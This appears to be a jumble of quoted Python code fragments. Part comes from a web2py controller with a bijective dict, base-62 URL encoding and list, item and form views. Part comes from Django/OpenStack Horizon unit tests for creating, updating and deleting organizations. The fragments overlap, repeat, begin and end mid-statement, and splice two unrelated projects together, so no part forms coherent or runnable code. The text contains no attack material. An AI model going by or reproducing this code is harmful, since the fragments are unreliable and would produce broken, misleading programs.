self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self):", "table, record): self.table = table self.record = record def related(self): for field in", "name in self.names: yield self.table[name] def rows(self): properties = dict( orderby=self.orderby, ) return", "') if type == 'reference' and text is not None: table = db[table_name]", "db[table_name] reference = text text = (table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict())", "if name != 'id' else XML('&nbsp;') def columns(self): for name in self.names: yield", "def index(): tables = Bijection({table._extra['index']: key for key, table in mb.handlers.items()}) first =", "''' def call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the", "self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key)", "def __init__(self, function, reference, verb=None): self.function = function self.table = mb.handlers[self.function] self.list_orderby =", "args[0] += a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request, args=args) @auth.requires_login() def index():", "notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users \"\"\" return dict(form=auth())", "mapping: for key in mapping: self[key] = mapping[key] def __setitem__(self, key, value): super(Bijection,", "primary_reference=True): text = row[field] link = '' type, is_reference, table_name = field.type.partition(' ')", "db) ''' def call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc", "display=self.display, url=self.url, function=self.function, ) record = self.table(reference) if record and verb is None:", "= function or request.function def headers(self): for name in self.names: yield readable_id(name) if", "key in mapping: self[key] = mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value)", "'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or", "i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def encode(cls, value,", "{'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next", "request.controller self.function = function or request.function def headers(self): for name in self.names: yield", "value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection,", "'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash = CAT( P('function: ', function), P('reference:", "response.download(request, db) ''' def call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with", "dict.__init__(self, display=self.display, url=self.url, function=self.function, ) record = self.table(reference) if record and verb is", "http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table name',record_id) to", "link: return A(text, _title=text, _href=link, _class=type) else: return SPAN(text, _title=text, _class=type) def default_redirect(self,", "'n': 'new', }[request.args(1)] response.flash = CAT( P('function: ', function), P('reference: ', reference), P('verb:", "self.table._extra['related']: table = field.table names = table._extra['columns'] query = (field == self.record.id) yield", "P('function: ', function), P('reference: ', reference), P('verb: ', verb), ) return Delegate(function, reference,", "and verb == 'new' or verb == 'edit': response.view = 'form.html' self['form'] =", "'reference' and text is not None: table = db[table_name] reference = text text", "verb == 'edit': response.view = 'form.html' self['form'] = self.build_form(record) elif record and verb", "key) def __delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62:", "key for key, table in mb.handlers.items()}) first = request.args(0) if first is None:", "self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns,", "verb = { None: None, 'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash", "if link: return A(text, _title=text, _href=link, _class=type) else: return SPAN(text, _title=text, _class=type) def", "in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def encode(cls, value, length):", "not in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect def process(self): if", "controller ## - index is the default action of any application ## -", "= orderby or self.table.id self.title = title or readable_id(table._id.tablename) self.controller = controller or", "self['form'] = self.build_form(record) elif record and verb == 'delete': response.view = 'delete.html' self['form']", "_class=type) def default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table, record)", "return URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new'])", "Bijection({j: i for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62", "for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base = 62 @classmethod def", "request.function def headers(self): for name in self.names: yield readable_id(name) if name != 'id'", "{ None: None, 'e': 'edit', 'd': 'delete', 'n': 'new', }[request.args(1)] response.flash = CAT(", "P('reference: ', reference), P('verb: ', verb), ) return Delegate(function, reference, verb) def user():", "URL(self.controller, self.function, args=['new']) class Form: def __init__(self, table, record=None, default_redirect=None): self.form = SQLFORM(", "orderby=None, title=None, controller=None, function=None): self.table = table self.names = names self.query = query", "key, table in mb.handlers.items()}) first = request.args(0) if first is None: redirect(Delegate.url('object')) if", "= self.url(table._extra['function'], reference) elif field.represent is not None: text = field.represent(text, row) if", "class Delegate(dict): def __init__(self, function, reference, verb=None): self.function = function self.table = mb.handlers[self.function]", "', reference), P('verb: ', verb), ) return Delegate(function, reference, verb) def user(): \"\"\"", "self).__setitem__(value, key) def __delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class", "and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text, _href=link, _class=type)", "def download(): \"\"\" allows downloading of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db)", "!= 'id' else XML('&nbsp;') def columns(self): for name in self.names: yield self.table[name] def", "None and verb is None: response.view = 'listview.html' self['listview'] = self.build_listview() elif record", "return URL(r=request, args=args) @auth.requires_login() def index(): tables = Bijection({table._extra['index']: key for key, table", "def headers(self): for name in self.names: yield readable_id(name) if name != 'id' else", "for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to expose supports xml, json,", "super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j: i for j, i in zip(", "query = (field == self.record.id) yield ListView(table, names, query) class Delegate(dict): def __init__(self,", "## - download is for downloading files uploaded in the db (does streaming)", "elif field.represent is not None: text = field.represent(text, row) if text is None", "_title=text, _href=link, _class=type) else: return SPAN(text, _title=text, _class=type) def default_redirect(self, vars): return self.url(self.function,", "'' type, is_reference, table_name = field.type.partition(' ') if type == 'reference' and text", "yield self.table[name] def rows(self): properties = dict( orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def", "table = field.table names = table._extra['columns'] query = (field == self.record.id) yield ListView(table,", "'urls' in table._extra: link = self.url(table._extra['function'], reference) elif field.represent is not None: text", "id): return URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function,", "exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login() @auth.requires_membership('group name') @auth.requires_permission('read','table", "decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1) for i, c in enumerate(text) )", "## - user is required for authentication and authorization ## - download is", "record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def url(cls, table, reference=None,", "supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return service() ''' def", "value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value = self[key]", "(does streaming) ######################################################################### def readable_id(id): return id.replace('_', ' ').title() class Bijection(dict): def __init__(self,", "= self.table(reference) if record and verb is None: response.view = 'itemview.html' self['itemview'] =", "is None: response.view = 'listview.html' self['listview'] = self.build_listview() elif record is None and", "verb=None): self.function = function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns']", "if primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link:", "for downloading files uploaded in the db (does streaming) ######################################################################### def readable_id(id): return", "response.view = 'listview.html' self['listview'] = self.build_listview() elif record is None and verb ==", "'itemview.html' self['itemview'] = self.build_itemview(record) elif record is None and verb is None: response.view", "name') @auth.requires_permission('read','table name',record_id) to decorate functions that need access control also notice there", "self.table(reference) if record and verb is None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record)", "4)] if reference is not None: args[0] += a62.encode(reference, 10) if verb: args.append(verb)", "-1, -1) ) ]) @classmethod def decode(cls, text): return sum( cls.mapping[c] * cls.base**(len(text)-i-1)", "def default_redirect(self, vars): return self.url(self.function, vars.id) def build_itemview(self, record): return Itemview(self.table, record) def", "######################################################################### ## This is a sample controller ## - index is the default", "}[request.args(1)] response.flash = CAT( P('function: ', function), P('reference: ', reference), P('verb: ', verb),", "class Bijection(dict): def __init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for key in mapping:", "raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if first[4:] else", "args=['new']) class Form: def __init__(self, table, record=None, default_redirect=None): self.form = SQLFORM( table, record,", "vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new']) class Form: def __init__(self, table,", ") record = self.table(reference) if record and verb is None: response.view = 'itemview.html'", "len(first) not in (4, 14): raise HTTP(404) function = tables.get(a62.decode(first[:4]), 'not found') reference", "@classmethod def encode(cls, value, length): return ''.join([ cls.mapping[x] for x in ( (value", "field in table if field.name not in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect", ") self.default_redirect = default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form", "self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self, table, record): self.table", "is a sample controller ## - index is the default action of any", "self['listview'] = self.build_listview() elif record is None and verb == 'new' or verb", "value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j: i", "mapping=None): super(Bijection, self).__init__() if mapping: for key in mapping: self[key] = mapping[key] def", "self['itemview'] = self.build_itemview(record) elif record is None and verb is None: response.view =", "a62: mapping = Bijection({j: i for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )})", "######################################################################### def readable_id(id): return id.replace('_', ' ').title() class Bijection(dict): def __init__(self, mapping=None): super(Bijection,", "= self.url(field.table._extra['function'], row.id) if link: return A(text, _title=text, _href=link, _class=type) else: return SPAN(text,", "if reference is not None: args[0] += a62.encode(reference, 10) if verb: args.append(verb) return", "self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self, table, record): self.table = table self.record", "P('verb: ', verb), ) return Delegate(function, reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login", "= field.type.partition(' ') if type == 'reference' and text is not None: table", "self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller, self.function, args=[id, 'delete'],", "in {'created', 'created_by', 'modified', 'modified_by'}], ) self.default_redirect = default_redirect def process(self): if self.form.process().accepted:", "return Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def build_form(self, record): return", "% table[text].as_dict()) if 'urls' in table._extra: link = self.url(table._extra['function'], reference) elif field.represent is", "of uploaded files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def call(): \"\"\" exposes", "''.join([ cls.mapping[x] for x in ( (value // cls.base**i) % cls.base for i", "function=None): self.table = table self.names = names self.query = query or (self.table.id >", "if first[4:] else None verb = { None: None, 'e': 'edit', 'd': 'delete',", "return Delegate(function, reference, verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password", "vars={'next': request.env.path_info}) def delete_url(self, id): return URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def", "query or (self.table.id > 0) self.orderby = orderby or self.table.id self.title = title", "view_url(self, id): return URL(self.controller, self.function, args=[id]) def edit_url(self, id): return URL(self.controller, self.function, args=[id,", "table, names, query=None, orderby=None, title=None, controller=None, function=None): self.table = table self.names = names", "args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new']) class Form: def", "title=None, controller=None, function=None): self.table = table self.names = names self.query = query or", "self.default_redirect = default_redirect def process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class", "0) self.orderby = orderby or self.table.id self.title = title or readable_id(table._id.tablename) self.controller =", "process(self): if self.form.process().accepted: redirect(request.get_vars.next or self.default_redirect(self.form.vars)) return self.form class Itemview: def __init__(self, table,", "request.args(0) if first is None: redirect(Delegate.url('object')) if len(first) not in (4, 14): raise", "user is required for authentication and authorization ## - download is for downloading", "http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def call(): \"\"\" exposes services. for example:", "args=[id]) def edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next': request.env.path_info}) def delete_url(self,", "files http://..../[app]/default/download/[filename] \"\"\" return response.download(request, db) ''' def call(): \"\"\" exposes services. for", "primary_reference: if hasattr(field, 'extra') and field.extra.get('primary'): link = self.url(field.table._extra['function'], row.id) if link: return", "verb is None: response.view = 'listview.html' self['listview'] = self.build_listview() elif record is None", "def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use @auth.requires_login()", "and verb is None: response.view = 'itemview.html' self['itemview'] = self.build_itemview(record) elif record is", "else None verb = { None: None, 'e': 'edit', 'd': 'delete', 'n': 'new',", "new_url(self): return URL(self.controller, self.function, args=['new']) class Form: def __init__(self, table, record=None, default_redirect=None): self.form", "mapping = Bijection({j: i for j, i in zip( range(62), '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' )}) base", "reference is not None: args[0] += a62.encode(reference, 10) if verb: args.append(verb) return URL(r=request,", "to expose supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv \"\"\" return service()", "encode(cls, value, length): return ''.join([ cls.mapping[x] for x in ( (value // cls.base**i)", "use without limitations ######################################################################### ## This is a sample controller ## - index", "self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns = self.table._extra['columns'] dict.__init__(self, display=self.display, url=self.url, function=self.function,", "reference), P('verb: ', verb), ) return Delegate(function, reference, verb) def user(): \"\"\" exposes:", "readable_id(table._id.tablename) self.controller = controller or request.controller self.function = function or request.function def headers(self):", "'not found') reference = a62.decode(first[4:]) if first[4:] else None verb = { None:", "-*- coding: utf-8 -*- # this file is released under public domain and", "- user is required for authentication and authorization ## - download is for", "not None: table = db[table_name] reference = text text = (table._format(table[text]) if callable(table._format)", "a sample controller ## - index is the default action of any application", "__init__(self, function, reference, verb=None): self.function = function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary']", "to manage users \"\"\" return dict(form=auth()) @cache.action() def download(): \"\"\" allows downloading of", "self).__init__() if mapping: for key in mapping: self[key] = mapping[key] def __setitem__(self, key,", "def __delitem__(self, key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping", "first = request.args(0) if first is None: redirect(Delegate.url('object')) if len(first) not in (4,", "== 'new' or verb == 'edit': response.view = 'form.html' self['form'] = self.build_form(record) elif", "def build_itemview(self, record): return Itemview(self.table, record) def build_listview(self): return ListView(self.table, self.list_columns, orderby=self.list_orderby) def", "orderby=self.orderby, ) return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller, self.function, args=[id]) def", "= Bijection({table._extra['index']: key for key, table in mb.handlers.items()}) first = request.args(0) if first", "'edit': response.view = 'form.html' self['form'] = self.build_form(record) elif record and verb == 'delete':", "related(self): for field in self.table._extra['related']: table = field.table names = table._extra['columns'] query =", "name in self.names: yield readable_id(name) if name != 'id' else XML('&nbsp;') def columns(self):", "or request.function def headers(self): for name in self.names: yield readable_id(name) if name !=", "self.record.id) yield ListView(table, names, query) class Delegate(dict): def __init__(self, function, reference, verb=None): self.function", "@auth.requires_permission('read','table name',record_id) to decorate functions that need access control also notice there is", "reference, verb=None): self.function = function self.table = mb.handlers[self.function] self.list_orderby = self.table._extra['primary'] self.list_columns =", "key): value = self[key] super(Bijection, self).__delitem__(key) super(Bijection, self).__delitem__(value) class a62: mapping = Bijection({j:", ") return db(self.query).iterselect(*self.columns(), **properties) def view_url(self, id): return URL(self.controller, self.function, args=[id]) def edit_url(self,", "amfrpc, rss, csv \"\"\" return service() ''' def debug(): return dict(debug=dict( user=auth.user, ))", "= 'delete.html' self['form'] = self.build_delete() else: raise HTTP(404) def display(self, field, row, primary_reference=True):", "call(): \"\"\" exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to", "self.build_form(record) elif record and verb == 'delete': response.view = 'delete.html' self['form'] = self.build_delete()", "download is for downloading files uploaded in the db (does streaming) ######################################################################### def", "= (table._format(table[text]) if callable(table._format) else table._format % table[text].as_dict()) if 'urls' in table._extra: link", "', function), P('reference: ', reference), P('verb: ', verb), ) return Delegate(function, reference, verb)", "file is released under public domain and you can use without limitations #########################################################################", "field.table names = table._extra['columns'] query = (field == self.record.id) yield ListView(table, names, query)", "required for authentication and authorization ## - download is for downloading files uploaded", "not None: text = field.represent(text, row) if text is None and hasattr(field, 'extra')", "record and verb == 'delete': response.view = 'delete.html' self['form'] = self.build_delete() else: raise", "exposes services. for example: http://..../[app]/default/call/jsonrpc decorate with @services.jsonrpc the functions to expose supports", "self.query = query or (self.table.id > 0) self.orderby = orderby or self.table.id self.title", "__setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key) def __delitem__(self, key): value", "verb) def user(): \"\"\" exposes: http://..../[app]/default/user/login http://..../[app]/default/user/logout http://..../[app]/default/user/register http://..../[app]/default/user/profile http://..../[app]/default/user/retrieve_password http://..../[app]/default/user/change_password http://..../[app]/default/user/bulk_register use", "and authorization ## - download is for downloading files uploaded in the db", "ListView: def __init__(self, table, names, query=None, orderby=None, title=None, controller=None, function=None): self.table = table", "self.title = title or readable_id(table._id.tablename) self.controller = controller or request.controller self.function = function", "return URL(self.controller, self.function, args=[id]) def edit_url(self, id): return URL(self.controller, self.function, args=[id, 'edit'], vars={'next':", "= tables.get(a62.decode(first[:4]), 'not found') reference = a62.decode(first[4:]) if first[4:] else None verb =", "for i in range(length - 1, -1, -1) ) ]) @classmethod def decode(cls,", "URL(self.controller, self.function, args=[id, 'delete'], vars={'next': request.env.path_info}) def new_url(self): return URL(self.controller, self.function, args=['new']) class", "elif record is None and verb is None: response.view = 'listview.html' self['listview'] =", "db (does streaming) ######################################################################### def readable_id(id): return id.replace('_', ' ').title() class Bijection(dict): def", "self[key] = mapping[key] def __setitem__(self, key, value): super(Bijection, self).__setitem__(key, value) super(Bijection, self).__setitem__(value, key)", "__init__(self, mapping=None): super(Bijection, self).__init__() if mapping: for key in mapping: self[key] = mapping[key]", "orderby=self.list_orderby) def build_form(self, record): return Form(self.table, record, default_redirect=self.default_redirect).process() def build_delete(self): return @classmethod def", "cls.base**(len(text)-i-1) for i, c in enumerate(text) ) class ListView: def __init__(self, table, names," ]
[ "the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html')", "} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id,", "Unless required by applicable law or agreed to in writing, software # distributed", "= self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project)", "{ 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id])", "CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project)", "= self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\": True, \"city\":", "api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID': project.id, } url =", "'', 'description': '', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field", "is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def", "Apache License, Version 2.0 (the \"License\"); you may # not use this file", "the License. You may obtain # a copy of the License at #", "the specific language governing permissions and limitations # under the License. import unittest", "may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "@test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() # Owned organizations mockup # Only", "= self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest),", "'method': 'CreateOrganizationForm', 'name': '', 'description': '', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form',", "unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), #", "url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class", "= self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone:", "project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data =", "} return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations = self.list_organizations() #", "**project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response", "IsA # noqa from django import http from django.core.urlresolvers import reverse from openstack_dashboard", "the one # we want to test. The world is tought for multiforms", "'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response)", "self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) }) def", "'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class", "with the License. You may obtain # a copy of the License at", "project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '', }", "Only calls the default/first tab, no need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest),", "'user_list', ) }) def test_detail(self): project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id,", "), }) def test_update_info(self): project = self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\":", "= self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID': project.id, 'name':", "project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID': project.id, } url", "+ '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get',", "'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar', args=[project.id]) response = self.client.post(url,", "one # we want to test. The world is tought for multiforms :(", "test. The world is tought for multiforms :( self.assertFormError(response, 'form', 'name', ['This field", "updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response)", "# Copyright (C) 2014 Universidad Politecnica de Madrid # # Licensed under the", "'description': '', 'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data)", "form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data", "def test_update_contact(self): project = self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', }", "required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_info(self):", "response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations", "self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) }) def test_detail(self): project", "'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready')", "use this file except in compliance with the License. You may obtain #", "self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url =", "form_data = { 'method': 'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response", "}) def test_update_contact(self): project = self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/',", "BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "@test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self): project = self.get_organization() mock_file =", "is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF", "project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel',", "import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as organizations_forms INDEX_URL =", "# under the License. import unittest from mox import IsA # noqa from", "implied. See the # License for the specific language governing permissions and limitations", "organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data =", "'tenant_update', 'tenant_get', ), }) def test_update_info(self): project = self.get_organization() updated_project = {\"name\": 'Updated", "DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project = self.get_organization()", "updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm',", "filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response,", "{ 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id])", "you may # not use this file except in compliance with the License.", "@test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = {", "args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon) form contains the last form in", "\"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data =", "KIND, either express or implied. See the # License for the specific language", "to test. The world is tought for multiforms :( self.assertFormError(response, 'form', 